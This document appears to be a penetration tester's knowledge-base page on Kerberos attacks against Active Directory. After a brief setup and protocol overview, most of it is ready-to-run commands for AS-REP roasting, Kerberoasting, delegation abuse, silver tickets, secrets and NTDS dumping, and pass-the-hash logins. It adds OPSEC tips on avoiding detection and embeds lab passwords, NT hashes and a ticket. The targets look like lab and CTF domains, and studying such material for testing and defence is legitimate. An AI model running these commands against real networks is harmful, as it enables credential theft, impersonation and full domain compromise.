Malleum Knowledge Base

Kerberos

10 min read

Setup Kerberos on kali

  • To use kerberos in our Linux environment we will do some configurations.
  • First we must set the DNS by configuring the /etc/hosts file
192.168.56.10   sevenkingdoms.local kingslanding.sevenkingdoms.local kingslanding

192.168.56.11   winterfell.north.sevenkingdoms.local north.sevenkingdoms.local
winterfell 

192.168.56.12   essos.local meereen.essos.local meereen
192.168.56.22   castelblack.north.sevenkingdoms.local castelblack

192.168.56.23   braavos.essos.local braavos|`
  • We must install the Linux kerberos client

sudo apt install krb5-user

  • We answer the questions with :

    • realm : essos.local
    • servers : meereen.essos.local

  • We will setup the /etc/krb5.conf file like this :

[libdefaults]
        default_realm = LUSTROUS2.VL

# The following krb5.conf variables are only for MIT Kerberos.
        kdc_timesync = 1
        ccache_type = 4
        forwardable = true
        proxiable = true
        rdns = false


# The following libdefaults parameters are only for Heimdal Kerberos.
        fcc-mit-ticketflags = true

[realms]
        LUSTROUS2.VL = {
                kdc = LUS2DC.LUSTROUS2.VL
        admin_server= LUS2DC.LUSTROUS2.VL
        }
[domain_realm]
      .lustrous2.vl = LUSTROUS2.VL
  • If krb5-user is already installed we can reconfigure it with (dpkg-reconfigure or by modifying /etc/krb5.conf)

dpkg-reconfigure krb5-config

Kerberos is a protocol that allows users to authenticate on the network, and access services once authenticated.

Kerberos is used whenever a user wants to access some services on the network. Thanks to Kerberos the user won’t need to type his password every time and the server won’t need to know every user’s password. This is centralized authentication.

In order to do this, at least three entities are required

When a user logs onto their workstation, their machine will send an AS-REQ message to the Key Distribution Center (KDC), aka Domain Controller, requesting a TGT using a secret key derived from the user’s password.

The KDC verifies the secret key with the password it has stored in Active Directory for that user. Once validated, it returns the TGT in an AS-REP message and a session key encrypted with client secret key. The TGT contains the user’s identity and is encrypted with the KDC secret key (the krbtgt account).

When the user attempts to access a resource backed by Kerberos authentication (e.g. a file share), their machine looks up the associated Service Principal Name (SPN). It then requests (TGS-REQ) a Ticket Granting Service Ticket (TGS) for that service from the KDC, and presents its TGT as a means of proving they’re a valid user.

The KDC returns a TGS (TGS-REP) for the service in question to the user, which is then presented to the actual service. The service inspects the TGS and decides whether it should grant the user access or not.

  1. AS-REPRoasting —⇒ Pre-Authentication is disabled -⇒ No User Creds required.
  2. Kerberoasting —⇒ User or Service having SPN (Service Principal Name) set ⇒ Valid User Creds required.

Errors

If you find this error from Linux: **Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)** it because of your local time, you need to synchronise the host with the DC. There are a few options:

systemctl stop systemd-timesyncd

sudo ntpdate DC.freelancer.htb

Getting TGT

impacket-getTGT heron.vl/samuel.davies:l6fkiy9oN

User Enumeration

nmap -p 88 --script=krb5-enum-users --script-args="krb5-enum-users.realm='domain name (eg.sevenkingdoms.local)',userdb=got_users.txt" $IP

  • Discovers valid usernames by brute force querying likely usernames against a Kerberos service.

  • When an invalid username is requested the server will respond using the Kerberos error code KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN, allowing us to determine that the user name was invalid.

  • Valid user names will illicit either the TGT in a AS-REP response or the error KRB5KDC_ERR_PREAUTH_REQUIRED, signaling that the user is required to perform pre authentication.

  • This does not trigger Microsoft’s account lockout policy.

AS-REP Roasting

Under normal operations in a Windows Kerberos environment, when you initiate a TGT request for a given user (Kerberos AS-REQ, message type 10) you have to supply a timestamp encrypted with that user’s key/password. This structure is PA-ENC-TIMESTAMP and is embedded in PA-DATA (preauthorization data) of the AS-REQ — both of these structure are described in detail on page 60 of RFC4120 and were introduced in Kerberos Version 5. The KDC then decrypts the timestamp to verify if the subject making the AS-REQ really is that user, and then returns the AS-REP and continues with normal authentication procedures.

The reason for Kerberos preauthentication is to prevent offline password guessing. While the AS-REP ticket itself is encrypted with the service key (in this case the krbtgt hash) the AS-REP “encrypted part” is signed with the client key, i.e. the key of the user we send an AS-REQ for. If preauthentication isn’t enabled, an attacker can send an AS-REQ for any user that doesn’t have preauth required and receive a bit of encrypted material back that can be cracked offline to reveal the target user’s password.

REF: https://medium.com/@harmj0y/roasting-as-reps-e6179a65216b

Scenario 1: We do not have access to internal domain

^f7f50f If we found valid users from our initial internal recon we can try performing AS-REP Roasting attack 8. Internal Recon.

If a user does not have Kerberos pre-authentication enabled, an AS-REP can be requested for that user, and part of the reply can be cracked offline to recover their plaintext password.  This configuration is enabled on the User Object and is often seen on accounts that are associated with Linux systems.

GetNPUsers.py FQDN/ -no-pass -usersfile found_users.txt

hashcat -m 18200 asrephash /usr/share/wordlists/rockyou.txt

If we have GenericWrite/GenericAll rights over a target user, we can maliciously modify their userAccountControl to not require preauth, user ASREPRoast, and then reset the value.

Scenario 2: We do have access to internal domain

Search for users where pre-auth is disabled

ADSearch.exe
ADSearch.exe --search "(&(objectCategory=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))" --attributes cn,distinguishedname,samaccountname
Powerview
Get-DomainUser -PreauthNotRequired -Properties distinguishedname -Verbose

Using rubeus to roast the user and get the hash

./Rubeus.exe asreproast /user:squid_svc /nowrap
OPSEC

ASREPRoasting with will generate a 4768 event with RC4 encryption and a preauth type of 0.

Kerberoasting

Services run on a machine under the context of a user account.

A Service Principal Name (SPN) is a unique identifier of a service instance.  

SPNs are used with Kerberos to associate a service instance with a logon account, and are configured on the User Object in AD.

Kerberoasting is a technique for requesting TGS for services running under the context of domain accounts and cracking them offline to reveal their plaintext passwords.

From Kali

Impacket

# with a password
GetUserSPNs.py -outputfile kerberoastables.txt -dc-ip $KeyDistributionCenter 'DOMAIN/USER:Password'
# with an NT hash
GetUserSPNs.py -outputfile kerberoastables.txt -hashes 'LMhash:NThash' -dc-ip $KeyDistributionCenter 'DOMAIN/USER'
cme ldap 192.168.56.11 -u $Username -p '$Password' -d fqdn --kerberoasting KERBEROASTING
 
```bash
hashcat -m 13100 --force -a 0 kerberoasting.hashes /usr/share/wordlists/rockyou.txt --force

From Windows

Rubues

Rubeus kerberoast can be used to perform the kerberoasting.  Running it without further arguments will roast every account in the domain that has an SPN (excluding krbtgt).

./Rubeus.exe kerberoast /simple /nowrap

Sliver

rubeus kerberoast /simple /nowrap

Without Pre-Auth Kerberoasting

GetUserSPNs.py -no-preauth "bobby" -usersfile "services.txt" -dc-host "DC_IP_or_HOST" "DOMAIN.LOCAL"/
OPSEC

By default, Rubeus will roast every account that has an SPN.  Honey Pot accounts can be configured with a “fake” SPN, which will generate a 4769 event when roasted.  Since these events will never be generated for this service, it provides a high-fidelity indication of this attack. A much safer approach is to enumerate possible candidates first and roast them selectively. This LDAP query will find domain users who have an SPN set.

./ADSearch.exe --search "(&(objectCategory=user)(servicePrincipalName=*))" --attributes
./Rubeus.exe kerberoast /user:mssql_svc /nowrap

Constrained Delegation

To perform the delegation, we need the TGT of the principal (computer or user) trusted for delegation.  The most direct way is to extract it with Rubeus dump:

From Sliver

rubeus triage


rubeus dump /luid:0x3a73a2 /service:krbtgt /nowrap

or

rubeus dump /service:krbtgt /nowrap

or Retrieve a usable TGT .kirbi for the current user (w/ session key) without elevation by abusing the Kerberos GSS-API, faking delegation:

rubeus tgtdeleg /nowrap

Convert base64 to kirbi

[IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("aa..."))

cat tgt.b64|base64 -d > ticket.kirbi

With the TGT, perform an S4U request to obtain a usable TGS for CIFS(the service we are able to delegate to) on the machine we can delegate to.

 Remember that we can impersonate any user in the domain, but we want someone who we know to be a local admin on the target.  In this case, a domain admin makes the most sense.

This will perform an S4U2Self first and then an S4U2Proxy with altservice.

or

rubeus -i s4u /ticket:doIE9jCCBPKgAwIBBaEDAgEWooIEBTCCBAFhggP9MIID+aADAgEFoQsbCU0zQy5MT0NBTKIeMBygAwIBAqEVMBMbBmtyYnRndBsJTTNDLkxPQ0FMo4IDwzCCA7+gAwIBEqEDAgEEooIDsQSCA60+EcctswlWfoVke6pt3PNw4qZV2sUZorvRrWmTDrG7KdcAwGEX+TUXON/MwMe5QwaXFv/F3R9VzTQ95h+3ORRs2uqEn8Kh/qq0JNUxjCI2wpI9dtqIcHhjfXOmWEHzta/9U97/H+AJLjnMxuD2iQ7hjGSkUKIrJ7hcEYNmcIiqrtxP6gIUTiy4taGq7kTFpje27D6cHCu5NlIf4AvfDr+OvWo8nVlmuXFRKP7uJCNXWPno3HM0M5eYdW1xuav6iDkMSg/wxWNMlvE5nEqhD6wAB5wifEJ5o/Xq2HpCHiG014ngEdq+XDpyhNR5XIaE5KoPRDkANDf85GUQ0sP0Kcf5nHVNj21WzyIWYZ2IWQgd2SRt7uYPS+zHbCthzTEfZstR9qj/BGdRqdAVqshFRJKOpFP8ed5aLPdWwL2RvTCyVpCRvOIUTqquFJjFzYMgp0Lj/hmR0Gok8hDPzuRaJeN1pqmbhIgzldFPfOa+lGC8nkHLGvkUaVJWkp67/k1SJDXjPGPEtgUvIssh9iuI1zGogjWk4yapA0HY7GZF48wzLn/BwIIvDdhDIC2bkUsafECMFezBwGczo0UC6My6TrZEWS5jSSlgeYWCofwDXGe1wXVGW6wSCqIMkX2aM7O0SiwPAj31A9FR+aPuUyuhN31q30icRVJRENgFL6aUJ52c6uD+ksj/njdbaZYpz9E3MLkI7TYzWgcW/DPtdMr5k9CrrE8YDpMQN4YdKzwoFR/jj9RuLCgJnfafL2U1z/B38qDxkt3MbTLONfVRUzuPA2VnWLo3aZsTA3Glc39MVpP3Ru7ZhvBnUyPEW0sxs7ALWnEGjiLzb4wQlj9bMh0qjJinKJEfEpIEyGd+apV1Xs4v2Ey/Ps2g+cTOuwaI5CEBMinT0YOKpugbeQ+ZHYLLOR9LrgObDmef77gA5sN+Y8jEQwnjlBNpRD4qLp3VR6FyX7mMalN3a7M3obMOLj27o9OIpEv8YNerjNTmxQW4ncZKcX6MqnkxeZaL5dNDb7TkRYMIrtunSZAg5+IUhEkiGViwWCAsctuOf8wuz6glRSFkhbWhh9D3Xa5ErtlXe+HsLBBDsY7qZBChcFm1Cf3QifOBHpPkg4jWaLMOAbzV+CgMlwv4pN2eHzXKz8YUmtFcW12jdBEXahT6O3XMsuH9ZpBD/gjCxcDTVSZYVR2NXTVtaAhwbBRs02UPF8jfZRHLDEhv23c764oFjSOAGsgFnbQ1ttvwL6W5+Zzu4cRupaOB3DCB2aADAgEAooHRBIHOfYHLMIHIoIHFMIHCMIG/oCswKaADAgESoSIEIEum9vaCZxPkPqP47kE0+AxnReRWY8kj/7CMZmfyEEa5oQsbCU0zQy5MT0NBTKIUMBKgAwIBAaELMAkbB3N2Y19zcWyjBwMFAGChAAClERgPMjAyNDAyMTAxNzE5MjRaphEYDzIwMjQwMjExMDAwMDAwWqcRGA8yMDI0MDIxNzE0MDAwMFqoCxsJTTNDLkxPQ0FMqR4wHKADAgECoRUwExsGa3JidGd0GwlNM0MuTE9DQUw= /impersonateuser:Charlene.Butcher /msdsspn:time/m3webaw.m3c.LOCAL /altservice:http /dc:m3dc.m3c.local /ptt

rubeus s4u /impersonateuser:Charlene.Butcher /msdsspn:time/m3webaw.m3c.local /altservice:host /user:svc_sql /ticket:ticket.kirbi /nowrap /ptt

Kali

Get the TGT with Rubeus if we dont have access to password or ntlm of the user.

ticketConverter.py ticket.kirbi ticket.ccache

export KRB5CCNAME=ticket.ccache

Check

cme smb 10.9.20.11 -u "svc_sql" --use-kcache

/opt/Tools/myimpacket/examples/getST.py -spn time/m3webaw.m3c.LOCAL -impersonate justin.doty -no-pass -dc-ip 10.9.20.10 'm3c.LOCAL/svc_sql' -k -altservice cifs

 getST.py -spn 'cifs/JUMP09.ops.comply.com' -impersonate 'Administrator' 'ops.comply.com/FILE06$' -k -no-pass

secretsdump.py -k -no-pass SEVENKINGDOMS.LOCAL/'KINGSLANDING$'@KINGSLANDING

Resource Based Constrained Delegation

To perform this delegation attack we need

  1. A target computer on which you can modify msDS-AllowedToActOnBehalfOfOtherIdentity. GenericWrite
  2. Control of another principal that has an SPN.

If we have system access to principal with spn

Sliver with kali
Obtain the tgt of spn we have access to (user with spn has also generic write over the other machine )
rubeus tgtdeleg /service:krbtgt /nowrap


[IO.File]::WriteAllBytes("C:\Windows\tasks\svc_apache.kirbi", [Convert]::FromBase64String(""))

or

nxc smb 10.10.11.5 -u lorra199 -p 'PWN3D#l0rr@Armessa199' -M add-computer -o Name="BADPC" PASSWORD="Password1"
Kali (Worked on Challenge 5 as well)
 ticketConverter.py svc_apache.kirbi svc_apache.ccache

export KRB5CCNAME=svc_apache.ccache

rbcd.py -delegate-from svc_apache -delegate-to M3DC$ -action 'write' 'm3c.local/svc_apache' -k -no-pass

rbcd.py -delegate-from BADPC$ -delegate-to DC$ -action 'write' 'freelancer.htb/lorra199:PWN3D#l0rr@Armessa199'

getST.py -spn 'cifs/M3DC.m3c.local' -impersonate 'Norma.branham' 'm3c.local/svc_apache' -k -no-pass

export KRB5CCNAME=Norma.branham.ccache

 cme smb 10.9.20.10 -u norma.branham --use-kcache --sam

RBCD on SPN-less users

https://www.thehacker.recipes/ad/movement/kerberos/delegations/rbcd#rbcd-on-spn-less-users

First the normal rcbd with the user that has access rights.

 rbcd.py -delegate-from 'rnichols' -delegate-to 'DC$' -dc-ip '10.10.83.222' -action 'write' 'phantom.vl'/'rnichols':'newP@ssword2022'

Then we get the TGT of the user

getTGT.py -hashes :$(pypykatz crypto nt 'newP@ssword2022 'phantom.vl'/'rnichols'

export KRB5CCNAME=rnichols.ccache

Then we obtain the TGT session key

 /usr/share/doc/python3-impacket/examples/describeTicket.py rnichols.ccache

Then we change the password of of the user with the TGT session key

smbpasswd.py -newhashes :5fadb2463278944a4cfc6e74ea861a44 'phantom.vl'/'rnichols':'newP@ssword2022'@'DC.phantom.vl'

getST.py -k -no-pass -u2u -impersonate "Administrator" -spn "cifs/DC.phantom.vl" 'phantom.vl'/'rnichols'

export KRB5CCNAME=Administrator@cifs_DC.phantom.vl@PHANTOM.VL.ccache

 nxc smb DC.phantom.vl --use-kcache --ntds


evil-winrm -i phantom.vl -u Administrator -H 71fde26ba67afaedbed8b3549012d930

Unconstrained Delegation

Tl;dr: The TGT will be stuffed into memory where an attacker can extract and reuse it if:

  1. You are able to compromise a server that has unconstrained delegation set.
  2. You are able to trick a domain user that doesn’t have ‘Account is sensitive and cannot be delegated’ enabled (see Protections below) to connect to any service on the machine. This includes clicking on \SERVER\Share.

How can you tell which machines have unconstrained delegation set? This is actually pretty easy: search for any machine that has a userAccountControl attribute containing ADS_UF_TRUSTED_FOR_DELEGATION. You can do this with an LDAP filter of ‘(userAccountControl:1.2.840.113556.1.4.803:=524288)’, which is what PowerView’s Get-DomainComputer function does when passed the -Unconstrained flag:

To perform this unconstrained delegation attack, we already need to have a couple of requirements:

  1. Control over an account with unconstrained delegation privileges
  2. Permissions to modify the servicePrincipalName attribute of that account (optional)
  3. Permissions to add/modify DNS records (optional)
  4. A way to connect victim users/computers to us

Look at this link to find attakcs for unconstrained delegation.

https://dirkjanm.io/krbrelayx-unconstrained-delegation-abuse-toolkit/

https://github.com/CravateRouge/bloodyAD

Finding unconstrained accounts

Powerview

$Computers = Get-DomainComputer -Unconstrained
$Users = Get-DomainUser -ldapfilter "(userAccountControl:1.2.840.113556.1.4.803:=524288)"

Powershell

$computers = get-adcomputer -ldapfilter "(userAccountControl:1.2.840.113556.1.4.803:=524288)"
$user = get-aduser -ldapfilter "(userAccountControl:1.2.840.113556.1.4.803:=524288)"

Silver Ticket Attack

with the password of svc_mssql we can create a silver ticket for any account we want

ServicePrincipalName              Name       MemberOf  PasswordLastSet             LastLogon                   Delegation 
--------------------------------  ---------  --------  --------------------------  --------------------------  ----------
MSSQLSvc/breachdc.breach.vl:1433  svc_mssql            2022-02-17 11:43:08.106169  2023-05-28 08:29:29.996523

first we need to get the domain sid

getPac.py -targetUser administrator breach.vl/julia.wong:******

image not found

then we need to create a ntlm hash for the mssql service password using cyberchef

69596c7aa1e8daee17f8e78870e25a5c

then we will craft and download the silver ticket

ticketer.py -nthash 69596c7aa1e8daee17f8e78870e25a5c -domain-sid S-1-5-21-2330692793-3312915120-706255856 -domain breach.vl -dc-ip breachdc -spn MSSQLSvc/breachdc.breach.vl:1433 administrator

finally we can set the ccache file and connect to the server

export KRB5CCNAME=administrator.ccache

mssqlclient.py -k breachdc.breach.vl

Graph View

Backlinks